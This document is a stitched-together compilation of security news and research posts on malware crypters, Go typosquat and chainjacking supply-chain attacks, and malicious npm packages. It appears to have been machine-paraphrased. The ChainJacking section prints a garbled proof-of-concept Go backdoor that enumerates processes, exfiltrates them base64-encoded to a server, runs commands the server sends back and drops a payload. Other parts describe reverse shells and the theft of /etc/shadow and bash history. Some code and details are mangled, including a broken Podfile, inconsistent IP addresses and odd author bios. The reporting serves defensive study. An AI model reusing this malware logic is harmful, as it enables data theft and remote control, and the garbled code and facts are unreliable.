Malicious Actors Are Extensively Using CypherIT to Package Their Malware. By Bill Toulas. December 13, 2019. Malware campaigns are increasingly relying on obfuscating crypters and malware wrappers. The most popular choice right now is the $33/month CypherIT, which is an anti-reverse-engineering tool. The crypter is periodically changing its
Malicious Actors Using CypherIT to Package their Malware
- Attackers are increasingly reliant on malware wrappers and obfuscating crypters in their malware operations.
- The most popular option right now is CypherIT, which is a reverse-engineering tool that costs $33 per month.
- The crypter changes its encryption algorithm on a regular basis, making it impossible for antivirus software to identify the infection.
- According to Check Point Research, bad actors are encrypting their malware samples via a service called ″CypherIT,″ allowing them to profit from high degrees of obfuscation and concealment. Based on company telemetry data, about 13 percent of all malware executables that were transmitted over email between August and October 2019 had the CypherIT cipher. Specifically, the tool in question is a totally legal piece of software that is intended to be used by developers who want to prevent their binary files from being reverse-engineered by third parties. Crooks, on the other hand, adore it since it allows them to encrypt their malicious executables and prevent detection by antivirus software. Furthermore, CypherIT not only provides encryption, but it also provides persistence, anti-sandboxing, and UAC bypassing capabilities. As illustrated in the accompanying example, the actor can easily pick what they want from a user-friendly user interface and have the wrapped file available in a matter of seconds after selecting it. It is becoming increasingly important for malicious actors to make advantage of this instrument, which costs $33 each month and increases their degree of success tremendously. CypherIT is aimed squarely at increasing the rate of infection in malware distribution campaigns. The goal of all malware distribution operations is to infect as many targets as possible. In addition, the researchers discovered an increase in the use of the AutoIt programming language, which is becoming increasingly popular among malware developers, according to their findings. More precisely, between July and September, AutoIt was used to write 18 percent of all malware that was delivered by email, and around 68 percent of all executable files shared online during the same period were harmful. CypherIT achieves obfuscation on these scripts through the use of the following features: Change the character order
- convert the strings to hexadecimal
- XOR with constant values
- rotate the strings
- embed a large number of non-ASCII characters
- and more.
When it comes to security engineers, the most inconvenient aspect is that CypherIT rotates its encryption approach on a regular basis, which helps to make the obfuscation stronger and the detection more difficult.The AES256 encryption technique was discovered to be used by the majority of the studied samples, with the RC4 algorithm being used by a small number of them.Crypters are becoming a more useful tool in the arsenal of malware authors, while criminals are increasingly becoming a critical clientele for ″packer as a service″ suppliers.CypherIT is currently installed on Remcos, NanoCore, NJRat, AZORult, AgentTesla, NetWire, and Lokibot, among other platforms.The implementation of better and more focused scanning systems that can identify samples that have been packed with known crypters will become increasingly important as this trend continues to grow in importance.Do you have anything to add to the discussion above?
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How a Malicious Actor Targeted a Go Package On GitHub – welovesacramento
An Exploitation of a Go Package on GitHub by a Malicious Actor GitLab’s lead application security engineer, ArghBlarg (Slashdot reader79,067), has shared some research with Slashdot: According to Michael Henrikson, his research into Go package management ″supply chain″ assaults resulted in the discovery of at least one highly suspicious package, which was typosquatting on one of the most widely used logging libraries.The imposter package calls home to an IP address he claims belongs to the Chinese company Tencent, which is a good example of why you should always go over your package imports, in any language, and make sure you’re either a) auditing them on a regular basis, or b) keeping frozen vendored copies that you can rely upon.According to the article: My expectations were high, and I was relieved to learn that the Go ecosystem has not yet been entirely infested (at least not yet) by malicious typosquat packages…In this case, it appears that the creator utfave is interested in learning the hostname, operating system, and architecture of all the computers that are running their version of urfave/cli.In this function, you may find out about your system by extracting system information and then calling the IP address 188.8.131.52 of the Chinese corporation Shenzhen Tencent Computer Systems over HTTP with the system information sent in as URL parameters.It’s quite suspicious that they’re collecting this information, and they can rapidly update the code to call back with a reverse shell if they come across a system that they think is useful or intriguing…
I believe that Go is in a better position than other programming languages because the source of packages is always explicitly written every time they are used.However, code editor automation may make typosquat attacks more likely to occur because the developer does not write the import paths manually as often as other programming languages.Published on Sunday, March 7th, 2021 at 15:34:00 +0000.
- Security is a category.
Three Steps to Success
Your click on this post was most likely based on the expectation that I would give career advice or a method for reaching your personal objectives this year.I’ll sorry in advance, but this article describes three stages to success for the malevolent actor, which I’ll detail immediately.Hopefully, after reading about how they are attaining this accomplishment, you will be better prepared to defend yourself from an attacker who employs similar tactics.This year has been a very fascinating one for me personally.It appears to me that a growing number of information thieves are focusing their efforts on certain geographical regions, and in particular, one vertical that exists inside those markets.However, I am confident that the effectiveness of these attacks will result in their spreading beyond of this vertical.
What’s the Vertical?
To be completely honest, I’d prefer not to delve too thoroughly into this subject matter since I don’t want to create greater awareness about their poor security situation and so make them an even more high-priority target for terrorists. It goes without saying that if anything like this can happen to them, it can happen to anybody.
Step 1, Where it All Begins.
For many attackers, the information-stealer has become a more valuable starting point than before. Ransomware used to be the beginning point, but as people get more knowledgeable about how to battle it and become more likely to refuse to pay, it has become far too hazardous (from the perspective of the malicious actor’s profitability) to begin with this method of attack.
So Why Info-Stealer?
It is more valuable for your data to be shared outside of your business than it is within your organization.Social security numbers, routing and bank account information, intellectual property, and, most importantly for the malicious actor’s next step of success, your passwords, are all at risk of being compromised.Passwords belonging to your information technology security staff, to be precise.
Why Are Their Passwords So Important?
It’s true that there are a variety of reasons for this, but from the malicious actor’s perspective, it allows them to stay on top of internal knowledge of the information thieves’ existence.What method would they use to do this?The passwords I was referring to were those for your email account or for a variety of other communication options (think instant messaging programs).They would keep an eye on your email and other forms of contact for certain words or terms that were relevant to their intrusion.If the malicious actor were to discover the presence of the information stealer, he or she would most likely skip the following step and proceed directly to Step 3.
Step 2, Drill Baby Drill.
Mining cryptographic currencies is still a profitable business, even with increased market awareness about the value of cryptographic currencies (even though the cost is in the process of normalizing), thanks to the increased market awareness about the value of cryptographic currencies (even though the cost is in the process of normalizing).The only reason that most people are aware of this stage is because of the increased network traffic and the over-taxation of a computer’s resources throughout the process.
Step 3, Scorched Earth.
Once the information-stealer/miner has been identified, the malicious actor will often proceed to Step 3 – ransomware distribution, or as I like to refer to it, ″the scorched earth strategy.″ ‘Scorched earth’ is a military phrase that refers to the practice of destroying everything of value in a certain region.This is accomplished through the use of ransomware.It is possible that your data may be permanently destroyed or deleted if you do not pay the ransom.
The Value of the Three-Step System (to the Malicious Actor at Least).
The use of this three-step strategy assures that some benefit is gained from an assault campaign. From the malicious actor’s perspective, why would they put in the effort if they aren’t going to make any money? There is financial value to be obtained from each stage in the process of following these processes, as well as the potential to do some reconnaissance.
How Can I Protect Myself and My Corporation?
- Let’s go through each step again and see how a simple security approach might be beneficial. At the start of the operation, the attackers were looking for certain categories of data that they might sell or use for reconnaissance purposes. In order to counteract this: A good antivirus (AV) program should be able to prevent the propagation of these information thieves and place them in quarantine.
- Multifactor authentication (2FA) should also be used by a firm to further safeguard services such as email and other kinds of communication.
- In addition, when a data breach occurs, a firm should have an alternate method of communication that may be utilized in the aftermath (alternative emails, for example) in the event that the attackers have compromised your present modes of contact. Protonmail appeals to me because of the built-in security it provides.
- Another thing to keep in mind is that if you start receiving messages and they have previously been tagged as Read (a rookie error by the attackers if they don’t make sure they re-label them as Unread), this is another indication that something is awry
You should pay attention to Step 2 since it is a little more noticeable: If you observe a big spike in network traffic or if people begin to complain that their systems are slowing down (more than normal, as I’m sure you already hear this on a regular basis), don’t ignore it. All of these are indications that something is not quite right.
- The ransomware assault is the third and most visible step, and it is as follows: Make sure you have a trustworthy antivirus solution in place, as well as a contingency plan for dealing with these types of threats.
- The strategy employed should include comprehensive data backup practices in conjunction with pre-signed agreements with a credible incident response firm (in order to speed the containment process)
- Last but not least, DO NOT PAY THE ATTACKERS. If you are a victim of a ransomware assault, one of the worst things you can do is pay the crooks who are responsible for the attack on your computer. Keep in mind that thieves have no respect for one another. If you pay them, they will talk to other evil organizations and may return for a second round of extortion (or the people they inform will do so)
- if you don’t pay them, they will talk to other malicious groups and may return for a third round of extortion (or the people they tell will do so).
Where Do We Go from Here?
One of the goals of this post is to throw light on current developments in the cybersecurity industry. Recognizing and anticipating the motives and objectives of an attacker can only help you improve your security posture and develop more effective ways for defending your firm.
About Chris Stephen
Cylance employs a Senior Sales Engineer.Cylance’s Chris Stephen works as a Senior Sales Engineer for the company.In the information technology business, Chris has more than a decade of experience, ranging from his first startup, where he created end-phase punch management systems for commercial and residential builders, through his work at Apple, and his current position in the medical industry.When it comes to information technology, Chris is a ‘Jack of all crafts.’
Malicious ‘dependency confusion’ packages are stealing password files
Hackers can use this ″dependency misunderstanding″ to their advantage by inserting malicious code into an internal application and launching a supply-chain attack as a result.Many of these packages, according to the researchers, do not have disclaimers or code comments in place to indicate that they are associated with any type of ethical bug bounty program or that they were designed for security research objectives.Even if the presence of such a disclaimer is no assurance that a package’s creator is acting in good faith, the absence of one, particularly when mixed with malicious code, might raise red flags, according to the researchers.
- These packages exfiltrate the user’s.bash history file and /etc/shadow as soon as they are installed automatically due to the fact that they have the same name as an internal dependent (thus exploiting ″dependency misunderstanding″), according to the researchers.
- In one instance, a package named ″amzn″ had code that created a reverse shell to Amazon’s server, which would launch as soon as the ‘amzn’ package penetrated the susceptible build, according to the researchers.
- Additionally, the contents of a /etc/shadow file were shown.
- Users’ hashed password data for their accounts on a system is stored in the /etc/shadow Linux file, which is the successor of the /etc/passwd file on older Linux systems.
- While ″superuser″ accounts are usually prohibited from accessing the file, there is a small possibility that a malicious actor, in this case an attacker, may be able to retrieve the file if the infected computer is running npm with elevated rights, according to the study team.
- Juan Aguirre, a security researcher at Sonatype, stated that he was ″beginning to worry when we were going to see a bad actor take advantage of the existing scenario.″ ″At long last, we’ve located one.″ It’s impossible for me to envisage a scenario in which I would submit a proof of concept for a bug bounty program that would be detrimental to the business.
- He went on to say that taking their /etc/shadow file is ″absolutely bad.″ Hackers have utilized the same code base as the proof-of-concept PoC that was disclosed by security researcher Alex Birsan, who was responsible for discovering this vulnerability, in order to create these malicious packages.
- After that, the hackers got imaginative.
- In Aguirre’s opinion, ″these packages stood out because they mimicked the behavior of true malware, which is to employ a first stage payload to steal a binary that then takes your bash history,″ he explained.
- In contrast to certain malicious packages, which take the contents of the /etc/shadow password file, others, such as the ″lyft-dataset-sdk″ and the ″serverless-slack-app,″ steal the contents of the a.bash history file and transfer it to a remote host under the control of the hacker.
- This file contains a complete listing of all commands entered into a shell, including passwords.
- Hackers are able to collect credentials as a result of this.
Researchers believe that this pattern will only continue to grow, with enemies using dependency misunderstanding to carry out even more nefarious operations in the future.A ″dependency/namespace confusion checker″ script has been made available on GitHub, and organizations are recommended to use it to identify whether they have assets with the same name across many repositories, and whether a dependency confusion attack has had an impact on them in the past.Resources that have been highlighted In the case of IBM Spectrum Virtualize, the Total Economic ImpactTM is calculated.Storage developed using IBM Spectrum Virtualize allows for cost reductions and other business benefits to be realized.Download it for free.
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Exploring the Chainjacking Attack
What is chainjacking?
Developers frequently provide software and packages to public registries for other developers, companies, and projects to use; attackers employing chainjacking tactics will mimic typosquatting approaches. They do, however, utilize an actual past name of a package creator rather than a similar-sounding moniker.
How does a chainjacking attack occur?
Let’s look at an example situation to better understand how a chainjacking assault works: Leonidas is a software engineer who has a GitHub account with the username ″Leonidas″ on it.They create a legal Go package and store it in a repository with the tag ″helpingHand.″ Individuals wishing to make use of this package can do so by either downloading and installing it using the command ″go get github.com/Leonidas/helpingHand″ or by importing it into their code using the command ″import github.com/Leonidas/helpingHand.″ A malicious version of this package exists as well, using the same name as the legitimate version but with the username ″iAmEvil.″ The following is an illustration of an example scenario: It’s rather difficult for a user to confuse these packages using the methods described above, isn’t it?Let’s imagine a few years have passed and Leonidas/helpingHand has gained more and more recognition.For the purpose of reducing the amount of typing required by developers, Leonidas decided to modify their Github username to the letter L: Developers wishing to make use of this package should make requests to ″github.com/Leonidas/helpingHand″ or ″github.com/Leo/helpingHand,″ with all requests for ″github.com/Leonidas/helpingHand″ being redirected to ″github.com/Leo/helpingHand,″ and all requests for ″github.com/Leonidas/helpingHand″ being redirected to ″github.But the username Leonidas is now accessible to be registered in the public domain, allowing the malicious attacker to intercept requests from developers looking for the legal package to be installed.The attacker claims to be Leonidas, and he uses the Github username: Because the fraudulent actor has uploaded a package under the name helpingHand while claiming the login of the real developer, the redirect to ″github.com/Leo/helpingHand″ is no longer functional.
This step leads Github to offer the malicious package from ″github.com/Leonidas/helpingHand,″ which was previously served by the attacker.This chainjacking attack has the ability to compromise all users who access the old URL; in addition, every new installation of this package has the potential to infect the developer’s computer that is doing the installation.Cybersquatting attacks against Go repositories are not the only type of cybersquatting assault.
- Malicious developers may also utilize Swift or Objective-C to launch chainjacking attacks on iOS, macOS, or other systems that employ these programming languages.
- Attacks of this nature may be carried out using dependency managers such as Cocoapods.
- Consider the following illustration: Podfile: do pod ‘HelpingHand’, ‘> 1.1’ at the end of post install do |installer|
- installer.pods project.targets.each at the end of post install do |target|
- puts target.name at the end of post install do |target|
- at the end of post install Leonidas’ Github repository, the genuine developer, is used to import the dependency ″helpingHand″ into this sample Podfile.
- However, once Leo relinquishes the username Leonidas, and this username is seized by the malicious developer, the chainjacking attack happens the following time the criminal developer runs pod install on the affected server.
- Performing this command to download and install fresh pods leads in the installation of a poisoned version of the dependency as a result of the act of running the command.
How to mitigate a chainjacking attack?
- Developers should be aware of a number of recommended practices that should be followed in order to maintain optimal security when utilizing Github. A new addition to Github’s popular repository namespace retirement mechanism prevents some instances of chainjacking from taking place. The following is how Github explains the functionality: We’ve decided to retire the namespace of any open source project that had more than 100 clones in the week prior to the owner’s account being changed or terminated in order to prevent developers from taking down potentially dangerous packages.″ Users with renamed or terminated accounts will still be able to join up, but they will not be able to establish repositories with names derived from defunct namespaces.″ A chainjacking assault, on the other hand, provides an excellent chance for malevolent actors to take advantage of the situation. In order to reduce the likelihood of a successful chainjacking assault on your firm, we offer a number of preventative actions. As a first step, make sure that all code in development is signed and validated in the build and production environments to avoid tampering. Using digital signatures to ensure data integrity and authentication is a powerful means of protecting both data and identity. Despite the fact that checksums are unable to validate authentication, needing them is helpful for assuring data integrity. Developers may use the following command to enable signing for all commits: git config -global commit.gpgsign true to make this happen. This page contains more information on how to implement code signing as a technique of confirming the identity of a committer. If you have the GPG command-line program installed, you may complete this operation. In a broader sense, imposing safe development best practices helps to avoid attacks that are not limited to chainjacking in nature. These are some examples of best practices: Allow static code scanning and open source scanning to be enabled across all of your repositories
- Make commit signing a requirement for all users
- It is recommended that before updating any program, the modifications be subjected to a code checking review and signing procedure by a third party
- this can help prevent unintended oversights and insider threats.
How Cycode can help
- DevOps pipelines are protected by Cycode, which also gives complete insight into the company development infrastructure. Cycode’s sophisticated detection capabilities, which are based on its knowledge graph, connect event data and user behavior across the software development lifecycle (SDLC) to generate contextual insights and automate remediation. Cycode provides security, governance, and pipeline integrity while not interfering with the development process’s speed. Cycode’s features enable compliance to industry-defined best practices, such as those offered by the National Institute of Standards and Technology (NIST) or Google. Cycode provides solutions for the following use cases: Securing infrastructure-as-code
- reducing code tampering risks
- protecting hardcoded secrets
- detecting source code leaks
- implementing centralized governance and security rules throughout the SDLC
As part of establishing strong governance over every point of the IaC lifecycle, Cycode helps your organization create a cross-SCM inventory of all of its users and contributors as well as teams, organizations, and repository locations.This governance also extends to providing more oversight into changes made to code as a means of further protecting key code sources.As an added benefit, Cycode allows you to automatically audit access privileges in order to discover and eliminate unneeded or excessive privileges, as well as to establish division of tasks.Furthermore, Cycode assists in ensuring that strong authentication and safe development standards are in place, allowing for the use of security best practices for IaC code when utilizing Terraform, Kubernetes, YAML, ARM, and CloudFormation, among other tools.
Want To Learn More?
You may start with a free evaluation of your DevOps pipeline’s security, which is an excellent place to start.
Finding Evil Go Packages
In addition to registering a common typo of github.com on the attacker’s host domain, he or she could just create a new account on GitHub, or any other open package host, using a common mistake of the package owner’s username, which would be much easier.I set out to create a tool that would assist me in identifying possible typosquat packages in the wild, with the following goals in mind:
- Take a long list of Go package import paths (for example, github.com/stretchr/testify)
- then sort the list by length.
- Permute the usernames of each and every unique package owner to generate a list of probable typosquat names
- Check to see whether any of the typosquat users are currently active on the platform.
- If a suspected typosquat user is identified, all of their repositories should be retrieved.
- Identify and log any of the repositories whose names are the same as the names of the original packages being checked
When this happened, I created a new tool called pkgtwist, which is accessible on GitLab (the name was inspired by the great dnstwist tool) if you’re interested in performing your own nasty Go package searching on your own time.
- To identify typosquats, the most crucial portion of pkgtwist was the development of suitable username permutations, which was perhaps the most difficult aspect of the program to complete. After doing some investigation, I came across zntrio/typogenerater, which appeared to be the ideal program for creating probable username typos on the fly. The package implements a rather extensive set of permutation schemes, from which I selected a handful to ensure that pkgtwist spends the most of its effort verifying what I believe to be the most likely typosquats: Omission: the removal of a single character (for example, stretchr => strechr due to a missed keypress)
- A character is repeated twice by hitting the same key twice (for example, gobuffalo => gobuffallo)
- It is possible to make a bit-flip mistake (stretchr => strftchr) due to bitsquatting.
- Swapping neighboring characters (e.g., pressing keys in the incorrect order, stretchr => strethcr) is known as transposition.
The following is an example of what happens if the package github.com/stretchr/testify is provided as input to pkgtwist: it will check to see if any of the people listed below exist on GitHub and if they do, it will see whether they also have a repository named testify: stretching, stretching, stretching, stretching, stretching, stretching, stretching, stretching, stretching, stretching sstretchr sttretchr strretchr streetchr strettchr stretcchr stretchhr stretchrr rtretchr qtretchr ptretchr wtretchr vtretchr utretchr ttretchr suretchr svretchr swretchr spretchr sqretchr srretchr ssr
The next step was to compile a list of packages that needed to be inspected. In the beginning, I considered looking for a list of the ″top X Go packages,″ but I couldn’t really find a solid resource for that. Instead, I ended up running pkgtwist against every github.com and gitlab.com hosted package from the Go Module Index (731 packages in all).
Pkgtwist is now operating in verbose mode.In the end, after many hours of crunching through the 731 packages, pkgtwist came up with a list of 7 probable typosquat packages that needed additional investigation.The list surprised me because I had anticipated it to be much longer, but I was relieved to discover that the Go ecosystem has not yet become entirely plagued with harmful typosquat packages (at least not yet).But there were a few of typosquat parcels that caught my attention…
It goes without saying that the logrus package by sirupsen is a very popular logging package (17.3k stars on GitHub) that is used by many Go applications, making it a perfect target for a typosquat supply chain attack.So when I noticed that the user siruspen (note the letter swapping) had a repository with a similar name, I went to investigate what it was doing.In fact, it turns out that the project is a fork of the original logrus repository, which made comparing the two to identify the differences rather simple.A brief init function with a single Println call has been added to the putative typosquat repository, but at the time of writing, this is the only item that has been contributed: a comparison between siruspen/logrus and the original repository.While this is not dangerous in any way, it is possible that the repository’s owner will modify its contents in the future, thus I will absolutely keep a watch on this repository in the future.I would also recommend double-checking your projects if you are using logrus to ensure that you are not using this package in place of the genuine one you are supposed to be using!
- The Go package urfave/cli (15.4k stars on GitHub) is another popular choice for developing command-line interface (CLI) projects.
- Consequently, when I saw that the user utfave also had a repository named cli, my alarm bells went up and I started on a deeper investigation.
- After further investigation, it was discovered that the second-to-last commit introduced an extremely suspicious init function: Ohai there, ip address 184.108.40.206.
In this case, it appears that the creator utfave is interested in learning the hostname, operating system, and architecture of all the computers that are running their version of urfave/cli.In this function, you may find out about your system by extracting system information and then calling the IP address 220.127.116.11 of the Chinese corporation Shenzhen Tencent Computer Systems over HTTP with the system information sent in as URL parameters.However, while this code will not grant them access to any systems, it is extremely suspicious that they are collecting this information, and the actor may rapidly update this code to call back with a reverse shell if they discover a system that is useful or interesting to them.I have reported this repository to GitHub, and I am hopeful that it will be removed in the near future.If you’re using the urfave/cli, I recommend double-checking your projects to make sure you’re not utilizing the typosquatted version until the issue is resolved.
- Despite the fact that my little study effort did not cover every single Go package available, I believe it did cover enough to provide a basic picture of the supply chain attack scenario in the Go ecosystem.
- The two repositories siruspen/logrus and utfave/cli were the only ones out of the seven highlighted repositories that I was particularly concerned about, but I will continue to keep a careful check on the others in case they turn out to be harmful at any point.
- I believe that Go is in a better position than other programming languages because the source of packages is always explicitly written every time they are used.
However, code editor automation may make typosquat attacks more likely to occur because the developer does not write the import paths manually as often as other programming languages.For example, if a developer has installed the popular Go plugin for Visual Studio Code, he or she will normally only need to input a package import once, and then the editor will automatically add the import in any additional files whenever the package name is required.The first time a developer mistypes the import path, a malicious package may be inserted into the Go project, where it may remain undetected for a considerable period of time before being identified.
Engineer specializing on security and tool development
New Type of Supply Chain Attack Could Put Popular Admin Tools at Risk
- According to research conducted by Intezer and Checkmarx, ChainJacking is a sort of software supply chain assault that might possibly be used by threat actors and puts standard administrative tools at danger of being compromised.
- We have uncovered a number of open-source Go programs that are vulnerable to ChainJacking, which is particularly concerning considering the fact that several of these vulnerable packages are integrated in widely used administrative software.
- This strategy is extremely difficult to defend at the developer level because of the nature of transitive trust between open-source security (OSS) and other systems.
As a way of assisting the information security community in protecting themselves against this sort of attack, we created an open-source tool that can be used to scan source code and determine whether or not packages obtained from GitHub and other sources are vulnerable to assault.Intezer Analyze also allows you to scan the binaries of any software to ensure that they do not include vulnerable packages or ChainJacking vulnerable Git repositories, which are both dangerous.
- An attacker who manages to slip through the holes between the designs of GitHub and the Go Package Manager may be able to take control of popular Go packages, poison them, and infect both developers and users with the resulting infection.
- Developers may obtain and utilize open-source libraries in their projects with the help of Go build tools, which make the process simple.
- In contrast to other programming languages such as Python and Rust, Go does not rely on a centralized repository from which libraries may be obtained.
An alternative approach is to use Go tools to get source packages directly from version control systems like GitHub1.GitHub is the largest source-code repository on the internet, and it is where the vast majority of Go packages can be found (including the official Go distribution).One feature that GitHub offers is the ability for users to alter their usernames.The procedure of changing your username is straightforward and quick.A warning is displayed to inform you that all traffic to the old repository’s URL will be redirected to the new repository’s address.
- In this alert, GitHub does not highlight a significant implication that is listed in their documentation, but which should be noted: Changing your username makes your former username open for anybody else to claim once you change your username.
- Therefore, an attacker may easily take advantage of the abandoned account and begin providing malicious code to anybody who downloads the package, using the credibility established by the item’s previous owner.
- It is possible that doing so in a Go package repository may set off a chain reaction that will dramatically broaden the code distribution and infect a significant number of downstream goods.
Consider the following diagram, which depicts the attack vector’s seemingly basic but possibly disastrous characteristics: ¹ Although we are concentrating on Go, other package managers such as NPM also enable code to be pulled from version control systems, making them vulnerable to this type of attack as well.
- Let’s look at a hypothetical situation.
- Annastacia, a software developer, creates a GitHub account using the username ″Annastacia.″ Her next step is to create and publish a helpful Go package in a repository with the label ″useful.″ Individuals who wish to make use of this package can do so by either downloading and installing it using the command ″go get github.com/Annastacia/useful″ or importing it into their code using the command ″import github.com/Annastacia/useful.″ By performing this operation, an entry will be added to the ″go.mod″ file, which will allow the tools supplied by Go to quickly update the package when new versions of the package are available.
- After some time has passed, the package has gained widespread acceptance as a result of its usefulness.
She decides that she wants a shorter name for her repository and with a few clicks, she can alter her GitHub username from ″Anna″ to something more appropriate.Two things will happen as a result of this:
- Anyone else may now register for the username ″Annastacia,″ which was previously reserved for the author.
- There is now a redirection for all requests for ″github.com/Annastacia/useful.″
- all queries for ″github.com/Annastacia/useful″ are now routed to ″github.com/Anna/useful.″
- Because none of the existing packages that require github.com/Annastacia/useful are affected, there is no downtime, and there have been no user complaints as of yet2.
- Upon successfully claiming the ″Annastacia″ login, a malicious actor can then publish their own harmful code under the repository name ″useful,″ which would appear on the user’s computer screen.
- GitHub no longer provides the threat actor’s malicious code from ″github.com/Annastacia/useful″ as a result of this action, and anybody who visits the old URL will be compromised.
The principle is rather straightforward.Now, every new installation of this package has the potential to infect the computer of the developer who is doing the installation.Further compromising the situation, each new package or third-party product produced in the future that is dependent on this infected package will likewise trigger infections on any computer on which it is installed.This is particularly dangerous.² Assuming that the owner handled the Go module settings in the proper manner.
Meet go.mod & go.sum
- In the attack scenario described above, the victim’s computer is infected by directly requesting the poisoned package from the attacker.
- If the victim dialed Annastacia’s old repository URL rather than the new one, this is what would happen.
- Moreover, as previously indicated, a successful assault can occur when the poisoned package is called indirectly, such as when it is a dependency of another package, preferably a well-known package.
This type of attack, on the other hand, presents unique difficulties for the perpetrator.Two files, go.mod and go.sum, are responsible for managing dependencies in a Go project.Unlike the go.mod file, which has a comprehensive list of the module’s dependencies and their versions, the go.sum file contains a complete list of the module’s dependencies and their versions as well as a checksum of the whole package.From the perspective of an attacker, if they are successful in gaining control over a package that is found in the go.mod and go.sum files of a popular package and poison it while leaving it in the same version, the attack will fail due to a checksum mismatch3.Even before this stage, the attempt will almost certainly fail since the Go tooling will fetch the cached package rather than query the poisoned repository.
- In order for an attack to be successful, the attackers must publish a new version of the package and, in some way, persuade the package’s owner to update the package’s dependencies.
- An apparent approach for the attacker is to submit a manual pull request, or, if the GitHub repository has been set in this manner, to submit an automated pull request from GitHub’s dependabot, which is a considerable hurdle for the attacker.
As a result of the fact that several of the vulnerable Go packages we discovered are used as dependencies in popular administration tools meant to operate with high privileges, we feel that ChainJacking has the potential to do harm comparable to the assault on SolarWinds.
- Look at a widely used open-source library and consider what may happen if the library were to become the target of a hostile takeover.
- Logrus (https://github.com/sirupsen/logrus) is a third-party logging tool that is widely used.
- Depending on whether or not this package is susceptible, it may be possible to insert malicious code into any apps that were compiled with the ″old″ repository.
This fake scenario includes code from the Go standard library as well as code from the github.com/mitchellh/go-ps package, which is available at github.com/mitchellh/go-ps.This tool, which is platform neutral, allows you to enumerate all of the processes that are currently executing on your computer.The package has been utilized by a variety of malware programs developed in the Go programming language.Another option is to include an alternate payload by using the go-binddata command.The following code was appended to the end of one of the files included in the package as an example.
- First and foremost, a new init function was written.
- In Go, it is possible for many init functions to exist within a single package.
- All init functions are performed before the main function, and they are executed in a non-deterministic order before the main function is executed.
function init() if OK:= collectData();!OK writeAndExecute() if OK:= collectData();!ok collectData is a function that collects data () When error!= nil, return false.If err!= nil, return true.If err!= nil, return false.
the string for the variable _, v:= range If p = d, then append(d, v.Executable()) is true.The string buf is encoded using the base64.RawURLEncoding.EncodeToString function.(byte(strings.(Join(d, ″|″))) resp, err:=buf)) if err!= null, return false; otherwise, defer resp.Join(d, ″|″))) Body.
- Body, err:= ioutil, Close() body If there is an error, readAll(resp.Body).
- = nil / return false / return false the data structure is composed of the following elements: Code int Cmd string Args string err = json is a kind of error.
- If there is an error, call Unmarshal(body, &data).
- If data is not present, return false.
- Return false if code!= 0x1337 is encountered.
- cmd is the same as exec.
- Command(data.Cmd, data.Args…) cmd is a command.
- Start() returns true if the program is started.
- func writeAndExecute() var buf byte if the function is called at runtime buf = ″windows″ GOOS == ″windows″ b, err:= bindataPayloadExeBytes() if err!= nil return buf = ″windows″ GOOS ==″windows″ Alternatively, if it is runtime.
- GOOS == ″linux″ b, err:= bindataPayloadElfBytes() if err!= nil return b, buf = b if err!= nil return b, buf = b if not, then return f, err:= ioutil err:= f If err!, use TempFile(″″, ″″) instead.
- = nil return , err = f, return = nil return If err!= nil, write(buf) otherwise return if runtime.
- GOOS == ″linux″ err = f GOOS == ″linux″ chmod(0755) if err!= nil panic(err) if err!= nil if err!= nil err = f in this case.
If there is an error, call Sync().= nil; return; name:= f; return; return; err = f in the name() function.If there is an error, close() is called.equals nil return cmd:= execute cmd is an abbreviation for command(name).Time for the start() function.
- Sleep(10 * time.Second) = Sleep(10 * time.Second) The Go-based virus that was injected makes use of tactics that are familiar to other malware developed in Go.
- It does a process enumeration, which is occasionally conducted by malware to discover whether or not the malware is being operated in a sandbox or is being analyzed.
- Additionally, the code can do data exfiltration of base64 encoded data, which is another capability.
The inserted code simulates command execution by allowing the Command and Control (C2) server to issue a command that will be executed by the simulated code.Finally, an alternate payload is inserted, allowing the injected malware to act as a dropper instead of the default payload.Malware has previously made use of the same resource embedding library, which is now deprecated.If we construct another application whose dependence relies on the vulnerable repository, the updated logging package will be included in the final binary of that application..
When we run Intezer Analyze on the binary, we can see that it has identified 14 different code genes that are unique.Given that this line of code can be found in the collectData method, we can safely conclude that the unique genes are certainly a component of the malicious malware that we injected into the system.
- In an effort to solve these and other issues, GitHub launched the Popular repository namespace retirement feature to address them.
- Using this approach, it should be feasible to prevent attacks such as ChainJacking from being carried out on popular code packages that might have a significant impact.
- This is accomplished by ″retiring the namespace of any open-source project that had more than 100 clones in the week prior to the owner’s account being renamed or deleted,″ according to the GitHub documentation.
- The good news is that while ChainJacking has the potential to produce accidents with significant consequences, it can also be prevented or minimized in a reasonably straightforward manner.
- Intezer’s technology was used in conjunction with Checkmarx’s technology, allowing us to identify a likely source of the attack at the code level while simultaneously determining the impact of this attack vector at the application level.
- We have made an open-source tool available on GitHub to assist you in identifying vulnerable packages in your dependency tree. Take a look at it and consider implementing it into your development or build process
- Software releases should be checked for manipulation and backdoors before they are delivered to clients or deployed to the production environment. Learn more about how Intezer can assist you with releasing your software with confidence by visiting our website.
- As part of its monitoring, Checkmarx notifies the ecosystem (which includes Go and GitHub) in the event that any suspicious behavior is found. In other words, consumers of Checkmarx are immediately safeguarded against ChainJacking.
- Attacks on the software supply chain are becoming more common because they are difficult to detect and have the potential to have a wide-ranging impact.
- In this study, the researchers discovered that the technique known as ChainJacking gives attackers with additional infection chances and adds to the difficulties that firms have in safeguarding their software supply chain.
- As an example of what may happen as a result of such an assault, we demonstrated the direct relationship between a real-world vulnerable package and popular admin tools that are supposed to execute with elevated rights.
In spite of the fact that we have not yet discovered any evidence of attackers attempting to exploit ChainJacking in the wild, the potential harm caused by such an exploitation may be comparable to the recent assaults on Kaseya and SolarWinds.
- 8 October 21 – Complete report is sent
- GitHub acknowledges receipt of the report on the 8th of October.
- GitHub has requested explanations as of October 21st.
- Clarifications were sent out on October 20th, along with a proof-of-concept video.
- GitHub responded on October 30th, stating that this is a known practice and providing a link to their documentation in support
- 5 November: An email is forwarded to the Go security team.
- 10 Nov 21 – Response from the Go security team, which acknowledges that there is a problem but does not believe they can repair it
- 16 November 21 – Complete and total transparency
- Joakim Kennedy is a member of the Kennedy family.
- Joakim Kennedy is a Security Researcher that works on a daily basis researching malware and identifying threat actors for the FBI.
Joakim has been investigating malware developed in the Go programming language for the past few years.He has built the Go Reverse Engineering Toolkit (github.com/goretk), an open-source toolkit for reverse engineering Go binaries, in order to make the analysis process easier.Alik Koldobsky is a Russian actor.Alik has a solid history in security, having held jobs as Offensive Security Researcher in both the military and the corporate sector.
Five Critically Important Facts About npm Package Security
- WhiteSource Diffend’s automated malware detection platform detected and reported more than 1,200 malicious npm packages in 2021, including packages that were responsible for stealing credentials and crypto, as well as botnets and the collection of host information from the machines on which they were installed.
